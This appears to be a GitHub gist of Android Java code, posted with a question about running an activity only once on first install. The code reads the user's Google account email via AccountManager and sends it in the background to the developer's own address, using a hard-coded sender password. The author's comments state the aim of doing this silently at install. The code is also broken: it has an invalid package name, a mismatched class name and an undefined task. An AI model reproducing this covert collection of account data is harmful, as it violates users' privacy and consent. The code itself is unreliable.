Last active
February 21, 2017 10:53
-
-
Save Kostarooly/ef6ece67e967c2129af9e89c7c7fb2d6 to your computer and use it in GitHub Desktop.
How to launch activity only ONCE when app is installed and opened for first time?
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package "My Package"; | |
| import android.accounts.Account; | |
| import android.accounts.AccountManager; | |
| import android.app.Activity; | |
| import android.content.Context; | |
| import android.content.Intent; | |
| import android.net.Uri; | |
| import android.os.Bundle; | |
| import android.util.Log; | |
| import android.view.View; | |
| import android.widget.Button; | |
| import android.widget.TextView; | |
| import java.util.Arrays; | |
| import java.util.List; | |
| public class BackgroundEmailActivity extends Activity { | |
| TextView edit;// define it before onCreate | |
| @Override | |
| public void onCreate(Bundle savedInstanceState) { | |
| super.onCreate(savedInstanceState); | |
| setContentView(R.layout.activity_about); | |
| final Button send = (Button) this.findViewById(R.id.button1); | |
| // here i set the users primary email and put it on an xml edit text so i can send it on backround on my email | |
| edit = (TextView) findViewById(R.id.editText4); //get it from xml | |
| String email = getEmiailID(this); | |
| if (email != null) | |
| { | |
| edit.setText(email); | |
| }else{ | |
| edit.setText("No accounts"); | |
| } | |
| send.setOnClickListener(new View.OnClickListener() { | |
| public void onClick(View v) { | |
| Log.i("AboutActivity", "Send Button Clicked."); | |
| String fromEmail = ("myemail@gmail.com"); | |
| String fromPassword = ("mypass"); | |
| String toEmails = ("myemail@gmail.com"); | |
| List<String> toEmailList = Arrays.asList(toEmails | |
| .split("\\s*,\\s*")); | |
| Log.i("AboutActivity", "To List: " + toEmailList); | |
| //This is where i put users email | |
| String emailSubject = ((TextView) findViewById(R.id.editText4)) | |
| .getText().toString(); | |
| String emailBody = ("I would Like to Subscribe"); | |
| new SendMailTask(AboutActivity.this).execute(fromEmail, | |
| fromPassword, toEmailList, emailSubject, emailBody); | |
| } | |
| }); | |
| } | |
| //Here i get the user primay email | |
| static String getEmiailID(Context context) { | |
| AccountManager accountManager = AccountManager.get(context); | |
| Account account = getAccount(accountManager); | |
| if (account == null) { | |
| return null; | |
| } else { | |
| return account.name; | |
| } | |
| } | |
| private static Account getAccount(AccountManager accountManager) { | |
| Account[] accounts = accountManager.getAccountsByType("com.google"); | |
| Account account; | |
| if (accounts.length > 0) { | |
| account = accounts[0]; | |
| } else { | |
| account = null; | |
| } | |
| return account; | |
| } | |
| } | |
| //What im doing here is getting the user email address and sending it to my email on Background | |
| //I put users email in edittext4 (wich is located in my xml file) ...the edittext4 is the emails Subject | |
| //What i want to do now is to run this on app install ONLY once | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment